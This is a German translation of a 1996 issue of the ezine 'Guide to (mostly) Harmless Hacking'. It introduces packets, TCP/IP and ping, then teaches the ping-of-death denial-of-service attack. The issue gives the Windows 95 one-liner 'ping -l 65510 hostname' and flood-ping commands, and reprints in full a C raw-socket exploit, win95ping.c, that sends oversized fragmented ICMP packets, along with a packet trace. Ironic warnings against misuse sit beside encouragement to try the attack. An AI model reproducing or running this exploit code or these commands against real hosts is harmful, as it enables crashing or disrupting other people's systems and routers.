____________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. 2 Nr 3 Einführung in TCP/IP. Das heißt Pakete! Datagramme! Der [Ping oversized packet denial of service exploit]: Dieser hack ist weniger harmlos als die meisten. Probier ihn nicht von Zuhause aus! ______________________________________________________________ Wenn du schon etwas länger bei HappyHacker dabei bist, wirst du ein paar Artikel von der Bugtraq Mailinglist über den neuen ping packet exploit bekommen haben. Mach dir keine Sorgen wenn das ganze wie jibberisch auf dich gewirkt hat. Es ist ziemlich einfach. Es ist eigentlich so einfach, daß wenn du Win95 verwendest, du schon nach lesen dieses Artikels wissen wirst, wie man mit einem ein-Zeilen Befehl viele Internet-Hosts und Router zum Absturz bringen kann. *********************** Knast ahoi-tip #1: Diesmal flehe ich die teuflischen Möchtegern-Genies dieser Liste an, brav zu bleiben und der Verführung, die Informationen, die ich dir jetzt geben werde, zu mißbrauchen, zu widerstehen. Wirst schon sehen ob ich mich dann noch kümmer. Wenn einer von diesen Typen dabei erwischt wird, tausende von Internet-Host und Routern zum Absturz zu bringen, wird er nicht nur ins Gefängnis gehen dürfen und sich krumm und blöd plechen. Wir alle werden Ihn oder Sie für immer als Vollidioten in Erinnerung behalten. Dieser exploit (ger: to exploit = etwas ausbeuten, nom.: Ausbeutung, also im Hack-Kontext: Ausbeutung einer/s Lücke/Fehlers) ist ein hirnloser, einzeiliger Befehl von Windows95 aus. Jope, das Betriebssystem das für Schwachköpfe und Trotteln designed wurde. Da ist nichts elitemäßiges an dem Hack! Diesen Hackangriff zu vereiteln - das ist Elite! *********************** *********************** Newbie Note: Wenn Pakete, Datagramme und TCP/IP noch nicht wirklich zu deinen Busenfreunden gehören, mußt du, glaub mir, mit denen ins Bett gehen wenn du dich mal Hacker nennen willst. Also häng dich hier rein um mal von der Technik ein bissl ein Gefühl zu kriegen! Wenn wir fertig sind, dann könntest du große Verwüstung im Internet anrichten - bist dann halt aber zu [elite] dafür :) Weiters ist dieser exploit erst vor kurzem entdeckt worden - also vor ein paar Tagen. Also bald wirst du Sachen wissen, von dem die meisten Elite-Hacker noch nichts gehört haben. Ein Paket ist ein Weg um fehlerfrei Informationen auf elektronischem Weg zu verschicken. Der Grundgedanke ist, daß keine Übertragungstechnologie perfekt ist. Hast du schon jemals das Spiel "Stille Post" gespielt? Im Kindergarten sicher! Es ist richtig Lustig was dabei alles rauskommen kann. Wenn du aber ein Email bekommst, das von Router zu Router geschickt worden ist, und dann so ausschaut, fändest dus wahrscheinlich nicht lustig. Deswegen werden versendete Emails vom Computer in kleine Stücke auseinandergebrochen - die kleinen Stückchen nennt man Datagramme. Dann wird jedes Datagramm mit Informationen "umwickelt" die der Computer des Empfängers braucht um die zerstückelte E-mehl wieder richtig zusammzupicken, also ob Fehler enthalten sind, und auch woher das ganze eigentlich kommt. Diese mit Informationen umwickelten Datagramme nennt man "Pakete", oder packets. Also wenn ein Computer gaanz große Emails zu dir als ein einziges großes Paket schicken würde, währen die Chancen von Datenverlust riesig. Es braucht sich einfach nur ein Bit umstellen! Wenn also dein Computer so ein ruiniertes Packet enthält, und einen Fehler feststellt, wird er vom Sender verlangen das ganze nochmal zu schicken. Das kann sehr lange dauern bist diese große Email intakt zu dir kommt. Wenn der Computer das Mail aber in einen Haufen kleiner Datagramme zersplittet und diese wieder als Pakete schnüren würde, könnten die meisten unbeschadet ankommen, und die Pakete mit Fehler können dann nochmal angefordert werden. Wenn dann all die kleinen Pakete richtig angekommen sind, werden sie sortiert und dann in der richtigen Reihenfolge wieder zusammengepappt. Somit hast du dann deine fehlerfreie Email! TCP/IP steht für "Transmission Control Protocol/Internet Protocol", also Übertragunskontrollprotokoll/Internetprotoll. Es sagt ins Internet oder generell in Netzwerke eingeklinkten Computern wie sie ihre Messages in packets zusammpacken sollen, und wie sie die von anderen Computern lesen können. Ping z.B. verwendet TCP/IP um seine Packete zu machen. *********************** "Ping" ist ein Befehl der einen "Fühler" von deinem Computer zu einem anderen schickt, um zu sehen ob dieser eingeschalten und ins selbe Netzwerk eingeklinkt ist wie du. Im Internet gibt es so um die zehn Millionen Computer die du anpingen kannst. Du kannst den Befehl Ping z.B. von Unix, Win95 oder WinNT aus erteilen. Er ist Teil des InternetControl-Message-Protokolls das zur Fehlersuche in TCP/IP-Netzwerken verwendet wird. Seine Aufgabe ist es, einen Remote-Computer zu bitten ein gesendetes ping mit einem ping zu erwidern. Also wenn du dein Ping zurückbekommst weißt du, das dieser Computer "alive", sprich eingeschalten und am Netz ist. Weiters kann dir der Ping verraten wie lange dauert bis ein Befehl diesen Computer erreicht, und wie lang dann seine Antwort auf sich warten läßt. Aber wie weiß dein computer das der zurückgekommene ping der ist, den er gerade weggeschickt hat? Die Antwort ist das Datagramm. Der weggeschickte Ping ist genauso ein Packet, und wie jedes andere Packet enthält es ein Datagramm. Und wenn der zurückkommende Ping das selbe Datagramm enthält wie der den der Computer weggeschickt hat weißt du, es war der selbe! Die Basisform des Ping-Befehls ist einfach: ping hostname hostname ist die Internetadresse die dein Computer checken soll. Wenn man diesen Befehl von Sun 4.1 Unix wegschickt, erhält man die Antwort: "hostname is alive." **************************** Technischer Tip: Wegen der zerstörerischen Kraft die ping hat, verstecken viele ISPs das Ping-Programm in den Shell-Accounts, wo Anfänger ihre Pratzen nicht hinbekommen. Wenn die Shell mit "command not found" antwortet, versuch einfach mal: /usr/etc/ping hostname Wenn das nicht funktioniert, beschwer dich bei deinem ISP. ************************** Newbie Note: Du sagst du findest keinen Weg über dein online-service zu pingen? Die Ursache ist vielleicht, daß du keinen Shell-Account hast. Aber da gibt es etwas das du wirklich brauchst um zu hacken: EiNEN SHELL ACCoUNT!! Der Grund warum Hacker sich so über AmericaOnline-User lustig machen ist, das die keine Shell accounts bekommen. Der Grund ist, daß AmericaOnline brave und sicher keine hackenden Buben und Mädchen will! Ein "Shell-Account" ist ein... das hatten wir schon mal, also saugts euch alle Artikel. Wenn du keinen hast, reg dich bei deinem ISP auf! ************************** Es gibt einen Haufen witziger Variationen des Ping-commands. Und, genau, jeder Befehl der übers Internet geht und einen haufen Variationen zuläßt, kannst du dir ziemlich sicher sein das da auch was hackbares dabei ist! heheheee... Der flood-ping ist ein einfaches Beispiel. Wenn dein Betriebssystem es zuläßt kannst du diesen Befehl geben: ping -f hostname Das schickt eine wahrhaft Flut an pings weg, so schnell wies der ISP-Rechner schafft. Das beschäftigt den host den du gepingt hast so stark, das er nur mehr wenig anderes machen kann. Das haut aber auch eine große Ladung aufs Netzwerk. Hacker auf niedriger Kenntnisebene haun sich manchmal auf ein Packl und verwenden mehrere Rechner auf einmal, um dann gleichzeitig den host des Opfers flutmäßig zu pingen. Das beschäftigt den Host so stark, daß er wirklich garnichts mehr machen kann. Es ist möglich das der sogar deswegen abstürzt. Wieauchimmmer, die Schattenseite des ganzen aus der Sicht der Angreifer ist, das auch die Angreiferrechner nichts anderes machen können. ************************* Netiquette Note: Einen Computer mit pings einzufluten ist extrem primitiv. Läßt du dich erwischen bist du Glücklich dran wenn nichts schlimmeres passiert als das dich dein ISP raushaut. Mach das mit einem seriösen Hacker, und du wirst einen Identitätswechsel brauchen! Wenn du mal unabsichtlich einen flood-ping starten solltest, kannst du ihn mit [Strg]-[c] abbrechen. **************************** **************************** Evil Genius Tip: Ping dich selbst! Wenn du irgendein Unix verwendest, wird es dir erlauben alles mit dir selbst aufzuführen, was du mit anderen Computern tun kannst. Die Netzwerkadresse die auf dich selbst zeigt ist entweder localhost oder 127.0.0.1 . Hier ein Beispiel wie ich localhost verwende: [65] ->telnet localhost Trying 127.0.0.1 ... Connected to localhost. Escape character is '^]'. SunOS UNIX (slug) login: Wie du siehst bin ich zurück in der Login-Sequenz für den Computer namens "slug". Jetzt ping ich mich selbst: [68] ->/usr/etc/ping localhost localhost is alive Das gibt dir das selbe resultat wie der Befehl: [69] ->/usr/etc/ping llama llama.swcp.com is alive **************************** **************************** BRUHAHAHA TIP: Willst du jemanden wirklich verarschen? Erzähl ihm um [kewl warez] zu bekommen soll er mal nach 127.0.0.1 ftp.en und sich dort mit seinem eigenen Usernamen und Passwort einloggen! Mein Ex-Freund Keith Henson hat das mit der Church of Scientology gemacht. Diese Trotteln haben sich tatsächlich nach 127.0.0.1 ftpt und dort alle ihre mit Copyright versehenen Skripten vorgefunden... Die nahmen an die wären auf Keiths Computer, und nicht auf deren. Die waren sich soo sicher er hätte ihre skripten und brachten ihn vor Gericht. Nachdem der Richter realisiert hat das die sich auf ihren eigenen Computer eingeloggt haben, hat er sie buchstäblich aus dem Gerichtsaal gelacht. Um eine unterhaltende Abschrift oder Audiokasette von diesem berüchtigten Gerichtsfall zu bekommen mail an hkhenson@cup.portal.com. Das is Keiths email Adresse. Hut ab vor diesem großartigen Hacker! **************************** Wieauchimmer, der [Oversized Ping Packet Exploit] (übergroßes Ping-Packet) den du jetzt kennenlernen wirst kann viel mehr Zerstörung ausrichten als eine Gang von Flut-Ping-Verschwörern. Und das ganze geschieht ohne dabei den Rechner des Angreifers für länger als eine Sekunde, solange es eben benötigt um den Ping zu senden, zu blockieren. Der leichteste Weg diesen Hack durchzuführen ist einfach Win95 zu verwenden. Du hast es nicht? hmm... ich möcht dich jetzt eigentlich nicht auffordern für diesen Schrott Geld auszugeben, aber für den hack kann mans gut gebrauchen. (schmeiss es halt nachher wieder weg! :) Um jetzt das ganze zu tun, setzt dein Win95 System auf und erstelle eine PPP oder SLIP connection zum Internet mit dem DFÜ-Netzwerk (Arbeitsplatz/DFÜ-Netzwerk). Vielleicht benötigst du Hilfe von deinem ISP. Du mußt es so tun, weil andernfalls wird der hack nicht funktionieren. Dein AmericaOnline-Dialer wird *sicher* nicht funktionieren. Als nächstes klink dich ins Internet ein. Aber start keinen Browser oder irgendwas anderes! Nachdem dir das DFÜ-Netzwerk sagt du bist connected, hau dich in die MS-DOS Eingabeaufforderung. C:\Windows\> Nun zuerst verwend den Brave-InternetBürger Befehl: Im promt brauchst du einfach nur schreiben: C:\windows\ping hostname hostname ist die Adresse irgendeines Rechners im Internet. Als Beispiel, ping mal thales.nmia.com, einen meiner Lieblingscomputer, benannt nach dem obskuren griechischen Philosophen. Wenn du die Adresse von Saddam Hussein's Computer kennst, dann kannst du ja auch den Befehl geben: C:\windows\ping -l 65510 saddam_hussein's.computer.mil Bitte schick diesen Befehl nicht an einen richtigen Computer! Manche, nicht alle, Rechner bleiben hängen und müssen rebootet werden, oder andere stürzen total ab nachdem sie diesen ping erhalten haben. Andere setzten ihre Arbeit fröhlich fort, und dann plötzlich stunden später stürzen sie ab. Warum? Das angefügte [-l 65510] erzeugt ein gigantisches Datagramm, das als Ping-Packet verschnürt wird. Manche Computer, wenn sie gefragt werden ein identisches Datagramm zurückzuschicken, bauen wirklich einen Haufen Scheiße und hängen sich auf. Wenn du alle blutigen Detaile über diesen Ping-Exploit wissen willst, und auch wie du dich davor schützen kannst, hau dich mal auf: http://www.sophist.demon.co.uk/ping Es gibt noch andere Möglichkeiten ein so großes Ping Datagram herzustellen, ohne dabei Win95 verwenden zu müssen. Bei bestimmten Versionen von FreeBSD oder Linux kannst du folgendes Programm, das in der Bugtraq-List gepostet wurde, starten. From: Bill Fenner To: Multiple recipients of list BUGTRAQ Subject: Ping exploit program Nachdem ein paar Leute keine Win95 Schachteln herumliegen haben, schrieb ich (Fenner) dieses Exploit-Programm. Es benötigt einen Raw Soket Layer der die Pakete nicht durcheinanderbringt. Also fallen BSD 4.3, SunOS und Solaris weg. Es funktioniert großartig mit 4.4BSD Systemen. Es sollt auch mit Linux funktionieren, wenn dus mit -DREALLY_RAW kompilierst. Es steht dir frei mit dem zu tun was du willst. Bitte verwende es aber nur um deine eigne Maschine zu testen, und nicht um andere zu crashen! * win95ping.c * * Simulate the evil win95 "ping -l 65510 buggyhost". * version 1.0 Bill Fenner 22-Oct-1996 * * This requires raw sockets that don't mess with the packet at all (other * than adding the checksum). That means that SunOS, Solaris, and * BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD, * OpenBSD, BSDI) will work. Linux might work, I don't have a Linux * system to try it on. * * The attack from the Win95 box looks like: * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+) * 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+) * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+) * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+) * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+) * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+) * 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+ * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+) * 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+) * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+) * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+) * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+) * 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+) * 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+) * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+) * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+) * 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+) * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+) * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+) * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+) * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+) * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+) * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+) * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+) * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+) * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+) * 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+) * 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+) * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+) * 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+) * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+) * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+) * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+) * 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+) * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+) * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+) * 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+) * 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+) * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+) * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+) * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+) * 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+) * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+) * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+) * 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120) * */ #include #include #include #include #include #include #include #include /* * If your kernel doesn't muck with raw packets, #define REALLY_RAW. * This is probably only Linux. */ #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif int main(int argc, char **argv) { int s; char buf[1500]; struct ip *ip = (struct ip *)buf; struct icmp *icmp = (struct icmp *)(ip + 1); struct hostent *hp; struct sockaddr_in dst; int offset; int on = 1; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc != 2) { fprintf(stderr, "usage: %s hostname\n", argv[0]); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = FIX(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = FIX(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; /* kernel fills in */ ip->ip_src.s_addr = 0; /* kernel fills in */ dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0's is easy to compute */ for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3); if (offset < 65120) ip->ip_off |= FIX(IP_MF); else ip->ip_len = FIX(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->icmp_type = 0; icmp->icmp_code = 0; icmp->icmp_cksum = 0; } } } (End of Fenner's ping exploit message.) ********************** Knast Ahoi-Tip: Dieser Hack ist nicht nur nicht elitär, wenn du das hier ließt weißt du nicht genug darüber dich vor einer Verhaftung zu drücken! Allerdings wenn es sich bei dem Internethost um einen in Irak handelt.... ********************** Natürlich gibts einen Haufen anderer kewler Dinge die du mit Ping machen kannst. Wenn du einen shell acoount hast, kannst du einen Haufen Informationen über Ping bekommen wenn du schreibst: man ping Du kannst einen Haufen Informationen über jeden Unix-Befehl bekommen wenn du "man [befehl]" schreibst. Viel Spaß mit Ping, und sei brav! Und merke, ich flehe die teuflischen Möchtegerngenies nicht an gut zu sein. Ihr werdets sehn ob es mich einen Dreck schert wenn ihr eingenaht werdet... Übersetzt von [Clone\\'ar] - xandi@blackbox.at ******************************************************* Want to share some kewl hacker stuph? Tell me I'm terrific? Flame me? For the first two, I'm at cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking! _______________________________________________________ Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING Ezine as long as you leave this notice at the end. To subscribe, email cmeinel@techbroker.com with message "subscribe hacker " substituting your real email address for Joe Blow's. ************************************************** Übersetzt von [Clone\\'ar] - xandi@blackbox.at